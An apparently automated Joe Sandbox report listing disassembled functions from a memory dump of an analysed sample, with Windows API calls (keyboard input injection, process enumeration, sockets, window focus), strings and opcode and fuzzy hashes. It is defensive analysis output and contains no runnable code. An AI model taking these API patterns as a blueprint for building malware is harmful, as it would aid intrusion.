Part of subcall function 00A42DA7: GetCurrentThreadId.KERNEL32 ref: 00A42DDD
Part of subcall function 00A42DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00A42DE4

GetFocus.USER32 ref: 00A42F78

Part of subcall function 00A42DEE: GetParent.USER32(00000000), ref: 00A42DF9

GetClassNameW.USER32(?,?,00000100), ref: 00A42FC3
EnumChildWindows.USER32(?,00A4303B), ref: 00A42FEB

Strings

%s%d, xrefs: 00A42FFF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: d428f72f0ec5c4330ba3e6bcaa17ae98d8c0d8f71447a61edd6b717cd3dbd490
Instruction ID: 571e21a6d5c524181033e04e23a49fcce16b79526db96bc0691d5974068998e6
Opcode Fuzzy Hash: d428f72f0ec5c4330ba3e6bcaa17ae98d8c0d8f71447a61edd6b717cd3dbd490
Instruction Fuzzy Hash: 4511A2756002056BCF15BF708D95FED37AAAFD4314F048079B9099B192DE709A458B60

Function 00A75882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00A758C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00A758EE
DrawMenuBar.USER32(?), ref: 00A758FD

Strings

0, xrefs: 00A7588F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: ad678c5eab5e23156222e8a43dce23e8705c7faed4dfbcb50d149a7ff15b127a
Instruction ID: e2800deeecfd8259e661d69e04d98dc7e9669eb3b61d5396fa1aa2dfa1950a39
Opcode Fuzzy Hash: ad678c5eab5e23156222e8a43dce23e8705c7faed4dfbcb50d149a7ff15b127a
Instruction Fuzzy Hash: D4016931900218EFDB219F61DC44BAEBBB5FF85361F10C0A9E94DDA161DB718A84EF21

Function 00A3D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00A3D3BF
FreeLibrary.KERNEL32 ref: 00A3D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00A3D3B9
X64, xrefs: 00A3D2A8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 6b3cdf440500a6ec3b8a77ecf1009a8cc0d19f9cd6aa70af1c6e6a484d1c931e
Instruction ID: 3fd3446d6caa19a8099610a12e11a3c58f02e949fe78249d2337bb7c10d1a7c7
Opcode Fuzzy Hash: 6b3cdf440500a6ec3b8a77ecf1009a8cc0d19f9cd6aa70af1c6e6a484d1c931e
Instruction Fuzzy Hash: 6BF02371506621D7D77157509C549EF7334AF10702F98C67DF805FA145DB34CD808792

Function 00A4007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e91b45be97558461d231fa8c577fe650b2e6c98c10bceb8abe3241cf0b5c66
Instruction ID: 39dd592b74aad4e7ba42914209f3f1819e059c1a15804f60b7e201664b55ac8a
Opcode Fuzzy Hash: 46e91b45be97558461d231fa8c577fe650b2e6c98c10bceb8abe3241cf0b5c66
Instruction Fuzzy Hash: 17C13B79A00206EFDB14CF98C894EAAB7B5FF88704F118598E605DF251D771ED41EB90

Function 00A13E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A13F0B
__alldvrm.LIBCMT ref: 00A1410C
__alldvrm.LIBCMT ref: 00A1412E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: d2209187ce887789aeff8893bbdf612ae65406e93d08fe0bb1338260e20edcb3
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 50A12772D00396AFEB15CF1DC8917EABBF5EF69350F18426DE5859B281C23889C2C750

Function 00A6342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A63459
CoUninitialize.OLE32 ref: 00A63463
VariantInit.OLEAUT32(?), ref: 00A6346E
VariantClear.OLEAUT32(?), ref: 00A6371B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 40c41a9429df2a50caaba8103d0813728931c189b061684e57a6b5ef2bc449c5
Instruction ID: d593a88a8ce9072771ae2958a4b41ececfdb462428693cb64747afb20680341e
Opcode Fuzzy Hash: 40c41a9429df2a50caaba8103d0813728931c189b061684e57a6b5ef2bc449c5
Instruction Fuzzy Hash: B5A129766047009FCB11DF69C585A2AB7F5FF88714F048859F98A9B362DB30EE01CB52

Function 00A40436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00A7FC08,?), ref: 00A405F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00A7FC08,?), ref: 00A40608
CLSIDFromProgID.OLE32(?,?,00000000,00A7CC40,000000FF,?,00000000,00000800,00000000,?,00A7FC08,?), ref: 00A4062D
_memcmp.LIBVCRUNTIME ref: 00A4064E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 4b2664e6e660b11db7f4ff6328ce11435a90dbef21dfd154e6c3305358b5bfbe
Instruction ID: a0557a7cf372e51c49093d5fcc1bada9d0de3dbb6c90710b5525bf558518f78d
Opcode Fuzzy Hash: 4b2664e6e660b11db7f4ff6328ce11435a90dbef21dfd154e6c3305358b5bfbe
Instruction Fuzzy Hash: 89812A75A00109EFCB04DF94C984EEEB7B9FF89315F208558F606AB250DB71AE06DB61

Function 00A21391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A214C0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c073d4c8334eb035285b91ecfb47ad523963fda585f8c39265ee45998fca0d82
Instruction ID: cd9047606eb8880714f495f5c45531e97385e4610a8bd66127d35497c57119c2
Opcode Fuzzy Hash: c073d4c8334eb035285b91ecfb47ad523963fda585f8c39265ee45998fca0d82
Instruction Fuzzy Hash: A6417C71A00224ABDB31BBFCBD456FE3AB5EF65370F144235F81DD61D1E63488819261

Function 00A76278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00A762E2
ScreenToClient.USER32(?,?), ref: 00A76315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00A76382

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: e40de07bf242ddfafc17d0b12e053a69eb73d7004e7b0588a5e78cab43e44d7f
Instruction ID: 7be122507cf35fc2e06579b5d077de315f549eac785aae2867a3e84b484278dd
Opcode Fuzzy Hash: e40de07bf242ddfafc17d0b12e053a69eb73d7004e7b0588a5e78cab43e44d7f
Instruction Fuzzy Hash: AC510C74A00649EFDB14DF64DD81AAE7BB5FB45360F10C259F8199B2A1D730ED81CB90

Function 00A61AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00A61AFD
WSAGetLastError.WSOCK32 ref: 00A61B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00A61B8A
WSAGetLastError.WSOCK32 ref: 00A61B94

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 9f0a278cb23d0633303dd4024b0903e4a3f34a55af82ee7e6f68bb4d2c72e9d4
Instruction ID: 268eb412a2ffc6bdf4580b2e2b0445d70aa1a0d1de284af54a0ec0f5c6e89749
Opcode Fuzzy Hash: 9f0a278cb23d0633303dd4024b0903e4a3f34a55af82ee7e6f68bb4d2c72e9d4
Instruction Fuzzy Hash: 544171746002006FE721AF25C886F297BE5AB84718F58C458FA5A9F3D3E772DD428B91

Function 00A1B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4574c1f27524aa660c7ce1969d25361698d20724c2314ea0d180b7e171c85e93
Instruction ID: ebbfad41e4814c6d334772168ecccd3709d27ffa553be46f8a4633727286b86c
Opcode Fuzzy Hash: 4574c1f27524aa660c7ce1969d25361698d20724c2314ea0d180b7e171c85e93
Instruction Fuzzy Hash: 28411771A10314BFD7249F7CCD41BEABBE9EB88720F10852EF152DB682D771998187A0

Function 00A556D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00A55783
GetLastError.KERNEL32(?,00000000), ref: 00A557A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00A557CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00A557FA

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 40ac8dba9bf8b3aeac4f8e24f708e148abb4bb1247eda9aea88c68f71117b127
Instruction ID: 50a72c385253b7ddd75892b91452b25c0874558eff994c9f7278f8b64279df03
Opcode Fuzzy Hash: 40ac8dba9bf8b3aeac4f8e24f708e148abb4bb1247eda9aea88c68f71117b127
Instruction Fuzzy Hash: ED411C35600A50DFCB11EF55C544A5ABBE1AF89321B188888FC4A5B362CB30FD45CB91

Function 00A1D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00A06D71,00000000,00000000,00A082D9,?,00A082D9,?,00000001,00A06D71,8BE85006,00000001,00A082D9,00A082D9), ref: 00A1D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A1D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00A1D9AB
__freea.LIBCMT ref: 00A1D9B4

Part of subcall function 00A13820: RtlAllocateHeap.NTDLL(00000000,?,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6,?,009E1129), ref: 00A13852

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 60ca3249fe4f7e9771528186b17fa92cd1af6578789353f6afe4f8e433a87ffb
Instruction ID: 886468f808012974360a37e3238771b09cad0a5ffb6f12d590e2c652da6d2fa8
Opcode Fuzzy Hash: 60ca3249fe4f7e9771528186b17fa92cd1af6578789353f6afe4f8e433a87ffb
Instruction Fuzzy Hash: 2B31AE72A0020AABDF24DF64DD45EEE7BA5EB40320B054168FC04D7190EB35DD91CBA0

Function 00A752C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00A75352
GetWindowLongW.USER32(?,000000F0), ref: 00A75375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A75382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A753A8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: ed171ee5f561c4ccefa69aa5f59c248efa14db541fab340b77e83458b542fc38
Instruction ID: fb608a8430c8e5229e96f3f3911320abeb4e9b526c63a724a90f19b33f053759
Opcode Fuzzy Hash: ed171ee5f561c4ccefa69aa5f59c248efa14db541fab340b77e83458b542fc38
Instruction Fuzzy Hash: 7031E234E55A08EFFB349B74CC66BE83765AB05390F58C105FA189A2F1C7F4AD80AB41

Function 00A4AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00A4ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00A4AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00A4AC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00A4ACC6

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ea0efdc1c6d2dc5bdbc9fb0d4fc0fdace814bedca8225b8fa86426c8e8007aa1
Instruction ID: f42c67ec57c639faa36c22e2cf087b695206c037eac74cd4a1549daf8958045f
Opcode Fuzzy Hash: ea0efdc1c6d2dc5bdbc9fb0d4fc0fdace814bedca8225b8fa86426c8e8007aa1
Instruction Fuzzy Hash: 35313938A80318AFEF34CBA48C857FA7BB5ABE9320F04831AE485531D0C37589818792

Function 00A77674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00A7769A
GetWindowRect.USER32(?,?), ref: 00A77710
PtInRect.USER32(?,?,00A78B89), ref: 00A77720
MessageBeep.USER32(00000000), ref: 00A7778C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 3d574887175c5fba487168f5224b20c42b5c22e218b759f3018f1da59ed3ef50
Instruction ID: 1d61a10688283a715a380abc1484d7ffa55eef367dc3ed07318cdec7f1be50a6
Opcode Fuzzy Hash: 3d574887175c5fba487168f5224b20c42b5c22e218b759f3018f1da59ed3ef50
Instruction Fuzzy Hash: B8416B34A05254EFCB15CFA8CC94EADB7F5FB49314F55C1A8E8189B261C731A942CF90

Function 00A716DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00A716EB

Part of subcall function 00A43A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A43A57
Part of subcall function 00A43A3D: GetCurrentThreadId.KERNEL32 ref: 00A43A5E
Part of subcall function 00A43A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A425B3), ref: 00A43A65

GetCaretPos.USER32(?), ref: 00A716FF
ClientToScreen.USER32(00000000,?), ref: 00A7174C
GetForegroundWindow.USER32 ref: 00A71752

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 34db521f7e318cc880ed0a617153096aa8011f1ce5e2da60f3769ec11cb5fa3c
Instruction ID: c767f8df2e9a37fa97c9df06f9c4893cf9b3ff43b3236b265f4a09e2d1dc807b
Opcode Fuzzy Hash: 34db521f7e318cc880ed0a617153096aa8011f1ce5e2da60f3769ec11cb5fa3c
Instruction Fuzzy Hash: D1314175D00149AFCB05DFAAC881DAEB7F9EF88304B5480A9E455E7211D7319E45CFA1

Function 00A4D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A4D501
Process32FirstW.KERNEL32(00000000,?), ref: 00A4D50F
Process32NextW.KERNEL32(00000000,?), ref: 00A4D52F
CloseHandle.KERNEL32(00000000), ref: 00A4D5DC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 895712e9c453281ce6fb7e2710c976e58099d47b27710f4fbafc1ba385acca02
Instruction ID: 4e11bf618c363ca653b9899d23bd63d3fab1ab5da229d16318eebbeb893259b8
Opcode Fuzzy Hash: 895712e9c453281ce6fb7e2710c976e58099d47b27710f4fbafc1ba385acca02
